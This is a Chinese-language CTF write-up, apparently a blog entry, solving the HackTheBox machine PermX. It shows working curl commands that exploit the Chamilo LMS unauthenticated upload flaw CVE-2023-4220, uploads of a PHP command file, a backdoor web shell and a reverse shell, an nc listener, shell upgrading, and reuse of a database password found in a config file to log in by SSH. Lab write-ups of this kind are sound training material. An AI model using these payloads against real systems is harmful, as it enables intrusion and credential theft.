今天是中秋節😢
vpn連線
┌──(kali㉿kali)-[~]
└─$ sudo openvpn --config lab_FinleyLi.ovpn
這裡我選擇的條件,評分數多、通關多、評價高。再來是打開虛擬機按鈕跟Starting Point有一點點不一樣。
Spawn the target machine and the IP will show here
Machine is joining, please stand by...
US Free 1 84 players
Target IP Address
10.10.11.23
很大不一樣的改變是答案區域只剩兩個,也就是說每個靶機只有IP,然後你要想辦法找出兩個Flag。
往好處想,我聽說過有假Flag的靶機,HTB至少還沒碰過。接下來怎麼辦呢?所以我們需要建立自己的SOP,面對只有IP的靶機用我們建立的流程去公式化的解決初期的問題。我開啟的靶機IP為10.10.11.23,一定要記得改成每次開啟的靶機IP,這是一個浮動的數字。
finley@FinleyX280:~$ sudo nmap -F 10.10.11.23
Starting Nmap 7.80 ( https://nmap.org ) at 2024-09-16 23:08 CST
Nmap scan report for 10.10.11.23
Host is up (0.21s latency).
Not shown: 98 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 2.45 seconds
nmap 有看到80 port出現代表很可能有網頁服務,這時候我們使用一個新的工具whatweb可以先偷看網頁服務大概的訊息。如果尚未安裝同樣的指令如下,這個工具我在MacOS裝不起來。
finley@FinleyX280:~$ whatweb 10.10.11.23
http://10.10.11.23 [302 Found] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], RedirectLocation[http://permx.htb], Title[302 Found]
ERROR Opening: http://permx.htb - no address for permx.htb
這裡我們發現到 http://permx.htb 這好像是靶機的名稱,問題是DNS沒有辦法認識這個網域名稱,也不具備修改168.95.1.1或8.8.8.8的權利。
permx.htb. IN A 10.10.11.23
一定要選擇以管理員身份運行記事本開啟下列檔案。
C:\Windows\System32\drivers\etc\hosts
在hosts輸入
10.10.11.23 permx.htb
打開Terminal輸入
ipconfig /flushdns
添加後開啟Terminal輸入ipconfig /flushdns,用來讓設定生效。
Linux:$ echo "10.10.11.23 permx.htb" | sudo tee -a /etc/hosts
這個寫法是臨時生效,也不需要重啟服務。如果想要長期有效需要自己打開檔案寫進去:
sudo nano /etc/hosts
再執行一次會得到多一些些的訊息
finley@FinleyX280:~$ whatweb 10.10.11.23
http://10.10.11.23 [302 Found] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], RedirectLocation[http://permx.htb], Title[302 Found]
http://permx.htb [200 OK] Apache[2.4.52], Bootstrap, Country[RESERVED][ZZ], Email[permx@htb.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], JQuery[3.4.1], Script, Title[eLEARNING]
用瀏覽器開起網頁http://permx.htb/ 花了一些時間去測試但似乎沒有看到甚麼問題,因為答案並不在這邊。
這時,我看過很多答案都是寫ffuf,其實還有dirb、gobuster、Feroxbuster、dirsearch可以用。本來想說偏不用ffuf還真的掃不到,這幾套軟體都是做網路爬蟲使用,首先要有一個很棒的字典檔我覺得這也是最難的部分,SecLists subdomains-top1million-20000.txt即使是許多教學使用的大熱門但最後更新在4年前,如果拿來對付現代的網頁似乎有些不夠力。
通常我都是用gobuster比較多,可是像這一題即便使用相同的字典檔但就是得用ffuf才可以找到答案,只能多嘗試嘗試。至於最後的參數"-mc all -ac"要不要加其實沒關係,會用是因為我最開始看的範例會使用來顯示所有狀態碼的回應減少誤報。
┌──(kali㉿kali)-[~]
└─$ ffuf -u http://permx.htb -H "Host: FUZZ.permx.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.permx.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 207ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 256ms]
#www [Status: 400, Size: 301, Words: 26, Lines: 11, Duration: 203ms]
#mail [Status: 400, Size: 301, Words: 26, Lines: 11, Duration: 203ms]
:: Progress: [19966/19966] :: Job [1/1] :: 195 req/sec :: Duration: [0:04:25] :: Errors: 240 ::
上面的結果可以得知 http://permx.htb 這台主機存在兩個不同的服務:
前面提過的這兩個檔案又要再次出現了,差別是網域名稱要新增或者改成lms.perms.htb,這樣即使沒有DNS我們也可以用網址去連線這些服務。打開lms.permx.htb這裡我們會看到不一樣的風景,經驗上覺得HTB靶機蠻多這種找到網域名稱之後要去爬出提供不一樣服務子網域名稱,並且利用網頁套件存在版本過舊的漏洞入侵的做法。
這裡大概列出三條CVE,然後需要耐心的把每一個找到的都去嘗試一遍,記得剛開始HTB Starting Point四台靶機花了兩天、第一台HTB Machines靶機我也花了兩天,我的2024農曆新年就這樣過完了。
finley@FinleyX280:~$ echo '<?php system("id"); ?>' > rce.php
finley@FinleyX280:~$ curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
finley@FinleyX280:~$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
上面步驟依照我挑選看起來比較簡單的CVE-2023-4220,先產生一個執行id的指令檔案rce.php,透過curl去執行確認真的可以回傳id。確定了以後真的可以放個shell上去來弄他,不過免費靶機的問題是我還沒上傳檔案就發現POC第一步要確認的路徑上已經有人偷放檔案上去了。
/<path-to-webroot>/main/inc/lib/javascript/bigupload/files/
注意!!
這裡我只使用Kali環境,nc(netcat)網貓雖然有windows版本,但是會被Windwos Defander給攔下來即使開放了每次執行也會報錯,解決起來太麻煩了還是用虛擬機的Kali就好了比較容易使用。
在Kali虛擬機上,這要回到Step 1使用openvpn先連上VPN我們再去執行接下來的動作。
┌──(kali㉿kali)-[~]
└─$ find /usr/share -type f -name simple-backdoor.php 2> /dev/null
/usr/share/webshells/php/simple-backdoor.php
┌──(kali㉿kali)-[~]
└─$ curl -F 'bigUploadFile=@simple-backdoor.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
上面的rce.php是用echo指令產生,這裡我們用find找到simple-backdoor.php應該cd /usr/share/webshells/php/切換目錄,或者cp /usr/share/webshells/php/simple-backdoor.php .複製到自己所在的目錄,否則上面的指令會因為找不到檔案而無法成功。待上傳uploaded成功後就可以來嘗試下面的指令,其實只是把我們上傳的backdoor.php跑個cat指令去看看某個檔案的內容確認執行成功。
┌──(kali㉿kali)-[~]
└─$ curl http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/simple-backdoor.php?cmd=cat+/etc/passwd
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
</pre>
這裡我們從Kali的/usr/share/seclists/Web-Shells/laudanum-1.0/php/找了php-reverse-shell.php來使用。
┌──(kali㉿kali)-[~]
└─$ find /usr/share -type f -name php-reverse-shell.php 2> /dev/null
/usr/share/seclists/Web-Shells/laudanum-1.0/wordpress/templates/php-reverse-shell.php
/usr/share/seclists/Web-Shells/laudanum-1.0/php/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/laudanum/php/php-reverse-shell.php
找到shell.php的位置之後就要拿來使用,這裡我是先複製到自己所在的目錄位置,然後去編輯他。
┌──(kali㉿kali)-[~]
└─$ cp /usr/share/webshells/php/php-reverse-shell.php .
┌──(kali㉿kali)-[~]
└─$ nano php-reverse-shell.php
這裡有兩個位置記得要設定成自己的IP:
$ip = '10.10.14.89'; // CHANGE THIS
$port = 4444; // CHANGE THIS
查看IP的方式Kali會顯示在右上角,如果你只有文字介面請輸入以下指令,找到tun0網卡參數。
┌──(kali㉿kali)-[~]
└─$ ip addr
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 10.10.14.89/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:2::1057/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::7c9e:3108:c500:4961/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
接著我在在把這個檔案上傳一次
┌──(kali㉿kali)-[~]
└─$ curl -F 'bigUploadFile=@php-reverse-shell.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
Kali再開啟一個Terminal,然後執行剛才上傳給靶機的檔案。下面這段指令也可以在Kali的桌面環境將Firefox貼上網址列去執行,curl也只是個文字的瀏覽器意思一樣。但細心的同學會發現openvpn開一個畫面,nc開一個畫面,執行curl開一個畫面,有時候還要開一個http.server,外加firefox以及筆電本身的作業系統常駐程式,對RAM的消耗變得非常大。
curl http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/php-reverse-shell.php
連上了之後,驗證一下我們真的進入了靶機。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.89] from (UNKNOWN) [10.10.11.23] 38162
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
08:46:12 up 4:41, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ ip a
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b0:e4:cb brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.23/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb0:e4cb/64 scope global dynamic mngtmpaddr
valid_lft 86399sec preferred_lft 14399sec
inet6 fe80::250:56ff:feb0:e4cb/64 scope link
valid_lft forever preferred_lft forever
到這一步連線非常不穩定,需要以下指令穩定連線。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.89] from (UNKNOWN) [10.10.11.23] 54882
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
09:05:16 up 5:00, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@permx:/$ export TERM=xterm
export TERM=xterm
www-data@permx:/$ ^Z
zsh: suspended nc -lvnp 4444
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 4444
ls
bin dev home lib32 libx32 media opt root sbin sys usr
boot etc lib lib64 lost+found mnt proc run srv tmp var
www-data@permx:/$
這時候才比較像一般我們進入Linux操作的感覺,到這一步終於拿到感覺沒甚麼用的訊息,但是我們如果只是要通報Hitcon這樣已經足夠。
www-data@permx:/$ cat /var/www/chamilo/app/config/configuration.php
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
尋找一下/home底下有哪些使用者來試一試:
www-data@permx:/$ ls /home
mtz
我自己認為雖然有點不合理,但是我們在config找到的資料庫連線設定密碼竟然就剛好是mtz使用者的密碼(03F6lY3uXAP2bkW8),很酷吧!
┌──(kali㉿kali)-[~]
└─$ ssh mtz@10.10.11.23
The authenticity of host '10.10.11.23 (10.10.11.23)' can't be established.
ED25519 key fingerprint is SHA256:u9/wL+62dkDBqxAG3NyMhz/2FTBJlmVC1Y1bwaNLqGA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.23' (ED25519) to the list of known hosts.
連線失敗,但是重來一次突然就可以了,免費靶機就是這樣!
┌──(kali㉿kali)-[~]
└─$ ssh mtz@10.10.11.23
mtz@10.10.11.23's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-113-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Sep 17 09:22:38 AM UTC 2024
System load: 0.0
Usage of /: 59.1% of 7.19GB
Memory usage: 23%
Swap usage: 0%
Processes: 258
Users logged in: 0
IPv4 address for eth0: 10.10.11.23
IPv6 address for eth0: dead:beef::250:56ff:feb0:e4cb
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Sep 17 06:39:31 2024 from 10.10.16.104
mtz@permx:~$
經過不斷的斷線重新嘗試,重開openvpn、重開nc、重新啟動shell.php、連ssh都重連了幾次,我終於順利拿到第一個user.txt的flag。如果你覺得耐心與時間比較寶貴,可以考慮變成付費的VIP會員,不過如果像我依樣小家子氣願意等待倒是可以繼續多嘗試幾回。
mtz@permx:~$ ls
linpeas.sh user.txt
mtz@permx:~$ cat user.txt
b7af740632359be8393adc60864ac530
到這一步終於看到user.txt這個flag,還有root.txt真是要命。我會放到下一次的進度再來說明,這裡錯誤重試的次數太多浪費了兩天的時間才完成這一篇。雖然常常地寫了不少,可是後面SOP發現更新的東西變少了,也就是說靶機操作的越多SOP可能會越來越收斂變成我們可以用的樣子,這便是我這30天挑戰的主軸。